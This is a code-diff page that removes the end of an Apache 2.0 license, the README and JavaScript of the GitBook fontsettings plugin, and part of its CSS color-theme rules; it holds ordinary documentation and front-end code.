||||||
|
|
||||||
(a) You must give any other recipients of the Work or
|
|
||||||
Derivative Works a copy of this License; and
|
|
||||||
|
|
||||||
(b) You must cause any modified files to carry prominent notices
|
|
||||||
stating that You changed the files; and
|
|
||||||
|
|
||||||
(c) You must retain, in the Source form of any Derivative Works
|
|
||||||
that You distribute, all copyright, patent, trademark, and
|
|
||||||
attribution notices from the Source form of the Work,
|
|
||||||
excluding those notices that do not pertain to any part of
|
|
||||||
the Derivative Works; and
|
|
||||||
|
|
||||||
(d) If the Work includes a "NOTICE" text file as part of its
|
|
||||||
distribution, then any Derivative Works that You distribute must
|
|
||||||
include a readable copy of the attribution notices contained
|
|
||||||
within such NOTICE file, excluding those notices that do not
|
|
||||||
pertain to any part of the Derivative Works, in at least one
|
|
||||||
of the following places: within a NOTICE text file distributed
|
|
||||||
as part of the Derivative Works; within the Source form or
|
|
||||||
documentation, if provided along with the Derivative Works; or,
|
|
||||||
within a display generated by the Derivative Works, if and
|
|
||||||
wherever such third-party notices normally appear. The contents
|
|
||||||
of the NOTICE file are for informational purposes only and
|
|
||||||
do not modify the License. You may add Your own attribution
|
|
||||||
notices within Derivative Works that You distribute, alongside
|
|
||||||
or as an addendum to the NOTICE text from the Work, provided
|
|
||||||
that such additional attribution notices cannot be construed
|
|
||||||
as modifying the License.
|
|
||||||
|
|
||||||
You may add Your own copyright statement to Your modifications and
|
|
||||||
may provide additional or different license terms and conditions
|
|
||||||
for use, reproduction, or distribution of Your modifications, or
|
|
||||||
for any such Derivative Works as a whole, provided Your use,
|
|
||||||
reproduction, and distribution of the Work otherwise complies with
|
|
||||||
the conditions stated in this License.
|
|
||||||
|
|
||||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
||||||
any Contribution intentionally submitted for inclusion in the Work
|
|
||||||
by You to the Licensor shall be under the terms and conditions of
|
|
||||||
this License, without any additional terms or conditions.
|
|
||||||
Notwithstanding the above, nothing herein shall supersede or modify
|
|
||||||
the terms of any separate license agreement you may have executed
|
|
||||||
with Licensor regarding such Contributions.
|
|
||||||
|
|
||||||
6. Trademarks. This License does not grant permission to use the trade
|
|
||||||
names, trademarks, service marks, or product names of the Licensor,
|
|
||||||
except as required for reasonable and customary use in describing the
|
|
||||||
origin of the Work and reproducing the content of the NOTICE file.
|
|
||||||
|
|
||||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
||||||
agreed to in writing, Licensor provides the Work (and each
|
|
||||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
||||||
implied, including, without limitation, any warranties or conditions
|
|
||||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
||||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
||||||
appropriateness of using or redistributing the Work and assume any
|
|
||||||
risks associated with Your exercise of permissions under this License.
|
|
||||||
|
|
||||||
8. Limitation of Liability. In no event and under no legal theory,
|
|
||||||
whether in tort (including negligence), contract, or otherwise,
|
|
||||||
unless required by applicable law (such as deliberate and grossly
|
|
||||||
negligent acts) or agreed to in writing, shall any Contributor be
|
|
||||||
liable to You for damages, including any direct, indirect, special,
|
|
||||||
incidental, or consequential damages of any character arising as a
|
|
||||||
result of this License or out of the use or inability to use the
|
|
||||||
Work (including but not limited to damages for loss of goodwill,
|
|
||||||
work stoppage, computer failure or malfunction, or any and all
|
|
||||||
other commercial damages or losses), even if such Contributor
|
|
||||||
has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing
|
|
||||||
the Work or Derivative Works thereof, You may choose to offer,
|
|
||||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
||||||
or other liability obligations and/or rights consistent with this
|
|
||||||
License. However, in accepting such obligations, You may act only
|
|
||||||
on Your own behalf and on Your sole responsibility, not on behalf
|
|
||||||
of any other Contributor, and only if You agree to indemnify,
|
|
||||||
defend, and hold each Contributor harmless for any liability
|
|
||||||
incurred by, or claims asserted against, such Contributor by reason
|
|
||||||
of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following
|
|
||||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
|
||||||
replaced with your own identifying information. (Don't include
|
|
||||||
the brackets!) The text should be enclosed in the appropriate
|
|
||||||
comment syntax for the file format. We also recommend that a
|
|
||||||
file or class name and description of purpose be included on the
|
|
||||||
same "printed page" as the copyright notice for easier
|
|
||||||
identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright {yyyy} {name of copyright owner}
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
|
|
||||||
-288
@@ -1,288 +0,0 @@
|
|||||||
# plugin-fontsettings
|
|
||||||
|
|
||||||
This plugin adds font settings button in the GitBook website.
|
|
||||||
|
|
||||||
### Disable this plugin
|
|
||||||
|
|
||||||
This is a default plugin and it can be disabled using a `book.json` configuration:
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
plugins: ["-fontsettings"]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Configuration
|
|
||||||
|
|
||||||
This plugin can be configured in the `book.json`:
|
|
||||||
|
|
||||||
Default configuration is:
|
|
||||||
|
|
||||||
```js
|
|
||||||
{
|
|
||||||
"pluginsConfig": {
|
|
||||||
"fontsettings": {
|
|
||||||
"theme": 'white', // 'sepia', 'night' or 'white',
|
|
||||||
"family": 'sans', // 'serif' or 'sans',
|
|
||||||
"size": 2 // 1 - 4
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Plugin API
|
|
||||||
|
|
||||||
This plugin exposes the following API to easily allow new themes to manage the plugin behavior.
|
|
||||||
|
|
||||||
All API functions are called using the prefix `gitbook.fontsettings.`, for instance `gitbook.fontsettings.enlargeFontSize()`.
|
|
||||||
|
|
||||||
#### Font manipulation
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.enlargeFontSize()`
|
|
||||||
|
|
||||||
Increases the font size of the document by one. Max value is `4`.
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.reduceFontSize()`
|
|
||||||
|
|
||||||
Decreases the font size of the document by one. Min value is `1`.
|
|
||||||
|
|
||||||
#### Font families
|
|
||||||
|
|
||||||
Each font family should be described as:
|
|
||||||
|
|
||||||
```js
|
|
||||||
var fontFamily = {
|
|
||||||
config: 'sans', // name of the font family in book.json for your theme
|
|
||||||
text: 'Sans', // display name of the font family in menu
|
|
||||||
id: 0 // the id appended to the CSS class for this font-family
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
The `text` property will be used to display the font-family name in the fontsettings dropdown menu.
|
|
||||||
|
|
||||||
The `config` property allows you to let the users of your theme choose a default font family in their `book.json`. You will have to handle setting the chosen font family in your theme's frontend JavaScript.
|
|
||||||
|
|
||||||
For instance:
|
|
||||||
|
|
||||||
```json
|
|
||||||
// book.json
|
|
||||||
{
|
|
||||||
plugins: ["my-theme"],
|
|
||||||
pluginsConfig: {
|
|
||||||
"my-theme": {
|
|
||||||
"font-family": "sans"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```js
|
|
||||||
// my-theme.js
|
|
||||||
require('gitbook', function(gitbook) {
|
|
||||||
var FONT_FAMILIES = [
|
|
||||||
{
|
|
||||||
config: 'sans',
|
|
||||||
text: 'Sans',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'serif',
|
|
||||||
text: 'Serif',
|
|
||||||
id: 1
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
gitbook.events.on('start', function(e, config) {
|
|
||||||
// Read configuration
|
|
||||||
var themeConfig = config['my-theme'],
|
|
||||||
defaultFont = themeConfig['font-family'];
|
|
||||||
|
|
||||||
// Initialize new font families
|
|
||||||
gitbook.fontsettings.setFamilies(FONT_FAMILIES);
|
|
||||||
// Set to configured font-family
|
|
||||||
gitbook.fontsettings.setFamily(defaultFont);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
```
|
|
||||||
|
|
||||||
The `id` property lets you define a specific id to use for your CSS rules as explained below.
|
|
||||||
|
|
||||||
##### CSS rules
|
|
||||||
|
|
||||||
The CSS class `font-family-<id>` will be applied to the theme book's root element `<div class="book">` when a font family is selected in the menu.
|
|
||||||
|
|
||||||
The CSS rules for the font-family can then easily be defined using the parent selector `.book.font-family-<id>`:
|
|
||||||
|
|
||||||
```CSS
|
|
||||||
.book.font-family-<id> {
|
|
||||||
font-family: 'My Awesome Font';
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
##### Managing the font families
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.getFamilies()`
|
|
||||||
|
|
||||||
Returns the currently set font families.
|
|
||||||
|
|
||||||
By default, the font families are:
|
|
||||||
|
|
||||||
```js
|
|
||||||
// Default font families
|
|
||||||
var FAMILIES = [
|
|
||||||
{
|
|
||||||
config: 'serif',
|
|
||||||
text: 'Serif',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'sans',
|
|
||||||
text: 'Sans',
|
|
||||||
id: 1
|
|
||||||
}
|
|
||||||
];
|
|
||||||
```
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.setFamilies()`
|
|
||||||
|
|
||||||
Set the new font families configuration, as an array of font family objects, used by the `plugin-fontsettings` in the form:
|
|
||||||
|
|
||||||
```js
|
|
||||||
var FONT_FAMILIES = [
|
|
||||||
{
|
|
||||||
config: 'sans',
|
|
||||||
text: 'Sans',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'serif',
|
|
||||||
text: 'Serif',
|
|
||||||
id: 1
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
gitbook.fontsettings.setFamilies(FONT_FAMILIES);
|
|
||||||
```
|
|
||||||
|
|
||||||
This will recreate the fontsettings menu to reflect the changes.
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.setFamily()`
|
|
||||||
|
|
||||||
Takes a font-family `config` key as an argument and updates the font-family used for this book.
|
|
||||||
|
|
||||||
This will basically apply the CSS class with the corresponding family `id`: `.font-family-<id>`.
|
|
||||||
|
|
||||||
#### Color themes
|
|
||||||
|
|
||||||
Setting and manipulating color themes follow the exact same rules as font families.
|
|
||||||
|
|
||||||
Here are the default value for the color themes in the plugin:
|
|
||||||
|
|
||||||
```js
|
|
||||||
// Default themes
|
|
||||||
var THEMES = [
|
|
||||||
{
|
|
||||||
config: 'white',
|
|
||||||
text: 'White',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'sepia',
|
|
||||||
text: 'Sepia',
|
|
||||||
id: 1
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'night',
|
|
||||||
text: 'Night',
|
|
||||||
id: 2
|
|
||||||
}
|
|
||||||
];
|
|
||||||
```
|
|
||||||
|
|
||||||
##### CSS rules
|
|
||||||
|
|
||||||
The applied CSS classes for color themes will be in the form: `.color-theme-<id>`.
|
|
||||||
|
|
||||||
**Caution**: No CSS class for color theme with `id: 0` will be applied. Basically, the first color theme corresponds to your default theme's colors.
|
|
||||||
|
|
||||||
For instance, using the default color themes:
|
|
||||||
|
|
||||||
```js
|
|
||||||
gitbook.fontsettings.setTheme('night');
|
|
||||||
```
|
|
||||||
|
|
||||||
will result in the following HTML state for the root element:
|
|
||||||
|
|
||||||
```HTML
|
|
||||||
<div class="book color-theme-2">
|
|
||||||
```
|
|
||||||
|
|
||||||
While:
|
|
||||||
|
|
||||||
```js
|
|
||||||
gitbook.fontsettings.setTheme('white');
|
|
||||||
```
|
|
||||||
|
|
||||||
will reset the HTML state for the root element:
|
|
||||||
|
|
||||||
```HTML
|
|
||||||
<div class="book">
|
|
||||||
```
|
|
||||||
|
|
||||||
##### Managing the color themes
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.getFamilies()`
|
|
||||||
|
|
||||||
Returns the currently set color themes.
|
|
||||||
|
|
||||||
By default, the font families are:
|
|
||||||
|
|
||||||
```js
|
|
||||||
// Default themes
|
|
||||||
var THEMES = [
|
|
||||||
{
|
|
||||||
config: 'white',
|
|
||||||
text: 'White',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'sepia',
|
|
||||||
text: 'Sepia',
|
|
||||||
id: 1
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'night',
|
|
||||||
text: 'Night',
|
|
||||||
id: 2
|
|
||||||
}
|
|
||||||
];
|
|
||||||
```
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.setThemes()`
|
|
||||||
|
|
||||||
Set the new color themes configuration, as an array of font family objects, used by the `plugin-fontsettings` in the form:
|
|
||||||
|
|
||||||
```js
|
|
||||||
var COLOR_THEMES = [
|
|
||||||
{
|
|
||||||
config: 'light',
|
|
||||||
text: 'Light',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'dark',
|
|
||||||
text: 'Dark',
|
|
||||||
id: 1
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
gitbook.fontsettings.setThemes(COLOR_THEMES);
|
|
||||||
```
|
|
||||||
|
|
||||||
This will recreate the fontsettings menu to reflect the changes.
|
|
||||||
|
|
||||||
##### `gitbook.fontsettings.setTheme()`
|
|
||||||
|
|
||||||
Takes a color theme `config` key as an argument and updates the color theme used for this book.
|
|
||||||
|
|
||||||
This will basically apply the CSS class with the corresponding theme `id`: `.color-theme-<id>`, or remove the applied CSS class if the selected theme `id` is `0`.
|
|
||||||
-240
@@ -1,240 +0,0 @@
|
|||||||
require(['gitbook', 'jquery'], function(gitbook, $) {
|
|
||||||
// Configuration
|
|
||||||
var MAX_SIZE = 4,
|
|
||||||
MIN_SIZE = 0,
|
|
||||||
BUTTON_ID;
|
|
||||||
|
|
||||||
// Current fontsettings state
|
|
||||||
var fontState;
|
|
||||||
|
|
||||||
// Default themes
|
|
||||||
var THEMES = [
|
|
||||||
{
|
|
||||||
config: 'white',
|
|
||||||
text: 'White',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'sepia',
|
|
||||||
text: 'Sepia',
|
|
||||||
id: 1
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'night',
|
|
||||||
text: 'Night',
|
|
||||||
id: 2
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// Default font families
|
|
||||||
var FAMILIES = [
|
|
||||||
{
|
|
||||||
config: 'serif',
|
|
||||||
text: 'Serif',
|
|
||||||
id: 0
|
|
||||||
},
|
|
||||||
{
|
|
||||||
config: 'sans',
|
|
||||||
text: 'Sans',
|
|
||||||
id: 1
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// Return configured themes
|
|
||||||
function getThemes() {
|
|
||||||
return THEMES;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Modify configured themes
|
|
||||||
function setThemes(themes) {
|
|
||||||
THEMES = themes;
|
|
||||||
updateButtons();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return configured font families
|
|
||||||
function getFamilies() {
|
|
||||||
return FAMILIES;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Modify configured font families
|
|
||||||
function setFamilies(families) {
|
|
||||||
FAMILIES = families;
|
|
||||||
updateButtons();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Save current font settings
|
|
||||||
function saveFontSettings() {
|
|
||||||
gitbook.storage.set('fontState', fontState);
|
|
||||||
update();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Increase font size
|
|
||||||
function enlargeFontSize(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
if (fontState.size >= MAX_SIZE) return;
|
|
||||||
|
|
||||||
fontState.size++;
|
|
||||||
saveFontSettings();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Decrease font size
|
|
||||||
function reduceFontSize(e) {
|
|
||||||
e.preventDefault();
|
|
||||||
if (fontState.size <= MIN_SIZE) return;
|
|
||||||
|
|
||||||
fontState.size--;
|
|
||||||
saveFontSettings();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Change font family
|
|
||||||
function changeFontFamily(configName, e) {
|
|
||||||
if (e && e instanceof Event) {
|
|
||||||
e.preventDefault();
|
|
||||||
}
|
|
||||||
|
|
||||||
var familyId = getFontFamilyId(configName);
|
|
||||||
fontState.family = familyId;
|
|
||||||
saveFontSettings();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Change type of color theme
|
|
||||||
function changeColorTheme(configName, e) {
|
|
||||||
if (e && e instanceof Event) {
|
|
||||||
e.preventDefault();
|
|
||||||
}
|
|
||||||
|
|
||||||
var $book = gitbook.state.$book;
|
|
||||||
|
|
||||||
// Remove currently applied color theme
|
|
||||||
if (fontState.theme !== 0)
|
|
||||||
$book.removeClass('color-theme-'+fontState.theme);
|
|
||||||
|
|
||||||
// Set new color theme
|
|
||||||
var themeId = getThemeId(configName);
|
|
||||||
fontState.theme = themeId;
|
|
||||||
if (fontState.theme !== 0)
|
|
||||||
$book.addClass('color-theme-'+fontState.theme);
|
|
||||||
|
|
||||||
saveFontSettings();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return the correct id for a font-family config key
|
|
||||||
// Default to first font-family
|
|
||||||
function getFontFamilyId(configName) {
|
|
||||||
// Search for plugin configured font family
|
|
||||||
var configFamily = $.grep(FAMILIES, function(family) {
|
|
||||||
return family.config == configName;
|
|
||||||
})[0];
|
|
||||||
// Fallback to default font family
|
|
||||||
return (!!configFamily)? configFamily.id : 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Return the correct id for a theme config key
|
|
||||||
// Default to first theme
|
|
||||||
function getThemeId(configName) {
|
|
||||||
// Search for plugin configured theme
|
|
||||||
var configTheme = $.grep(THEMES, function(theme) {
|
|
||||||
return theme.config == configName;
|
|
||||||
})[0];
|
|
||||||
// Fallback to default theme
|
|
||||||
return (!!configTheme)? configTheme.id : 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
function update() {
|
|
||||||
var $book = gitbook.state.$book;
|
|
||||||
|
|
||||||
$('.font-settings .font-family-list li').removeClass('active');
|
|
||||||
$('.font-settings .font-family-list li:nth-child('+(fontState.family+1)+')').addClass('active');
|
|
||||||
|
|
||||||
$book[0].className = $book[0].className.replace(/\bfont-\S+/g, '');
|
|
||||||
$book.addClass('font-size-'+fontState.size);
|
|
||||||
$book.addClass('font-family-'+fontState.family);
|
|
||||||
|
|
||||||
if(fontState.theme !== 0) {
|
|
||||||
$book[0].className = $book[0].className.replace(/\bcolor-theme-\S+/g, '');
|
|
||||||
$book.addClass('color-theme-'+fontState.theme);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function init(config) {
|
|
||||||
// Search for plugin configured font family
|
|
||||||
var configFamily = getFontFamilyId(config.family),
|
|
||||||
configTheme = getThemeId(config.theme);
|
|
||||||
|
|
||||||
// Instantiate font state object
|
|
||||||
fontState = gitbook.storage.get('fontState', {
|
|
||||||
size: config.size || 2,
|
|
||||||
family: configFamily,
|
|
||||||
theme: configTheme
|
|
||||||
});
|
|
||||||
|
|
||||||
update();
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateButtons() {
|
|
||||||
// Remove existing fontsettings buttons
|
|
||||||
if (!!BUTTON_ID) {
|
|
||||||
gitbook.toolbar.removeButton(BUTTON_ID);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Create buttons in toolbar
|
|
||||||
BUTTON_ID = gitbook.toolbar.createButton({
|
|
||||||
icon: 'fa fa-font',
|
|
||||||
label: 'Font Settings',
|
|
||||||
className: 'font-settings',
|
|
||||||
dropdown: [
|
|
||||||
[
|
|
||||||
{
|
|
||||||
text: 'A',
|
|
||||||
className: 'font-reduce',
|
|
||||||
onClick: reduceFontSize
|
|
||||||
},
|
|
||||||
{
|
|
||||||
text: 'A',
|
|
||||||
className: 'font-enlarge',
|
|
||||||
onClick: enlargeFontSize
|
|
||||||
}
|
|
||||||
],
|
|
||||||
$.map(FAMILIES, function(family) {
|
|
||||||
family.onClick = function(e) {
|
|
||||||
return changeFontFamily(family.config, e);
|
|
||||||
};
|
|
||||||
|
|
||||||
return family;
|
|
||||||
}),
|
|
||||||
$.map(THEMES, function(theme) {
|
|
||||||
theme.onClick = function(e) {
|
|
||||||
return changeColorTheme(theme.config, e);
|
|
||||||
};
|
|
||||||
|
|
||||||
return theme;
|
|
||||||
})
|
|
||||||
]
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Init configuration at start
|
|
||||||
gitbook.events.bind('start', function(e, config) {
|
|
||||||
var opts = config.fontsettings;
|
|
||||||
|
|
||||||
// Generate buttons at start
|
|
||||||
updateButtons();
|
|
||||||
|
|
||||||
// Init current settings
|
|
||||||
init(opts);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Expose API
|
|
||||||
gitbook.fontsettings = {
|
|
||||||
enlargeFontSize: enlargeFontSize,
|
|
||||||
reduceFontSize: reduceFontSize,
|
|
||||||
setTheme: changeColorTheme,
|
|
||||||
setFamily: changeFontFamily,
|
|
||||||
getThemes: getThemes,
|
|
||||||
setThemes: setThemes,
|
|
||||||
getFamilies: getFamilies,
|
|
||||||
setFamilies: setFamilies
|
|
||||||
};
|
|
||||||
});
|
|
||||||
|
|
||||||
|
|
||||||
-291
@@ -1,291 +0,0 @@
|
|||||||
/*
|
|
||||||
* Theme 1
|
|
||||||
*/
|
|
||||||
.color-theme-1 .dropdown-menu {
|
|
||||||
background-color: #111111;
|
|
||||||
border-color: #7e888b;
|
|
||||||
}
|
|
||||||
.color-theme-1 .dropdown-menu .dropdown-caret .caret-inner {
|
|
||||||
border-bottom: 9px solid #111111;
|
|
||||||
}
|
|
||||||
.color-theme-1 .dropdown-menu .buttons {
|
|
||||||
border-color: #7e888b;
|
|
||||||
}
|
|
||||||
.color-theme-1 .dropdown-menu .button {
|
|
||||||
color: #afa790;
|
|
||||||
}
|
|
||||||
.color-theme-1 .dropdown-menu .button:hover {
|
|
||||||
color: #73553c;
|
|
||||||
}
|
|
||||||
/*
|
|
||||||
* Theme 2
|
|
||||||
*/
|
|
||||||
.color-theme-2 .dropdown-menu {
|
|
||||||
background-color: #2d3143;
|
|
||||||
border-color: #272a3a;
|
|
||||||
}
|
|
||||||
.color-theme-2 .dropdown-menu .dropdown-caret .caret-inner {
|
|
||||||
border-bottom: 9px solid #2d3143;
|
|
||||||
}
|
|
||||||
.color-theme-2 .dropdown-menu .buttons {
|
|
||||||
border-color: #272a3a;
|
|
||||||
}
|
|
||||||
.color-theme-2 .dropdown-menu .button {
|
|
||||||
color: #62677f;
|
|
||||||
}
|
|
||||||
.color-theme-2 .dropdown-menu .button:hover {
|
|
||||||
color: #f4f4f5;
|
|
||||||
}
|
|
||||||
.book .book-header .font-settings .font-enlarge {
|
|
||||||
line-height: 30px;
|
|
||||||
font-size: 1.4em;
|
|
||||||
}
|
|
||||||
.book .book-header .font-settings .font-reduce {
|
|
||||||
line-height: 30px;
|
|
||||||
font-size: 1em;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body {
|
|
||||||
color: #704214;
|
|
||||||
background: #f3eacb;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section {
|
|
||||||
background: #f3eacb;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body {
|
|
||||||
color: #bdcadb;
|
|
||||||
background: #1c1f2b;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section {
|
|
||||||
background: #1c1f2b;
|
|
||||||
}
|
|
||||||
.book.font-size-0 .book-body .page-inner section {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
.book.font-size-1 .book-body .page-inner section {
|
|
||||||
font-size: 1.4rem;
|
|
||||||
}
|
|
||||||
.book.font-size-2 .book-body .page-inner section {
|
|
||||||
font-size: 1.6rem;
|
|
||||||
}
|
|
||||||
.book.font-size-3 .book-body .page-inner section {
|
|
||||||
font-size: 2.2rem;
|
|
||||||
}
|
|
||||||
.book.font-size-4 .book-body .page-inner section {
|
|
||||||
font-size: 4rem;
|
|
||||||
}
|
|
||||||
.book.font-family-0 {
|
|
||||||
font-family: Georgia, serif;
|
|
||||||
}
|
|
||||||
.book.font-family-1 {
|
|
||||||
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal {
|
|
||||||
color: #704214;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal a {
|
|
||||||
color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h1,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h2,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h3,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h4,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h5,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h6 {
|
|
||||||
color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h1,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h2 {
|
|
||||||
border-color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal h6 {
|
|
||||||
color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal hr {
|
|
||||||
background-color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal blockquote {
|
|
||||||
border-color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal pre,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal code {
|
|
||||||
background: #fdf6e3;
|
|
||||||
color: #657b83;
|
|
||||||
border-color: #f8df9c;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal .highlight {
|
|
||||||
background-color: inherit;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table th,
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table td {
|
|
||||||
border-color: #f5d06c;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table tr {
|
|
||||||
color: inherit;
|
|
||||||
background-color: #fdf6e3;
|
|
||||||
border-color: #444444;
|
|
||||||
}
|
|
||||||
.book.color-theme-1 .book-body .page-wrapper .page-inner section.normal table tr:nth-child(2n) {
|
|
||||||
background-color: #fbeecb;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal {
|
|
||||||
color: #bdcadb;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal a {
|
|
||||||
color: #3eb1d0;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h1,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h2,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h3,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h4,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h5,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h6 {
|
|
||||||
color: #fffffa;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h1,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h2 {
|
|
||||||
border-color: #373b4e;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal h6 {
|
|
||||||
color: #373b4e;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal hr {
|
|
||||||
background-color: #373b4e;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal blockquote {
|
|
||||||
border-color: #373b4e;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal pre,
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal code {
|
|
||||||
color: #9dbed8;
|
|
||||||
background: #2d3143;
|
|
||||||
border-color: #2d3143;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal .highlight {
|
|
||||||
background-color: #282a39;
|
|
||||||
}
|
|
||||||
.book.color-theme-2 .book-body .page-wrapper .page-inner section.normal table th,
|
|
||||||
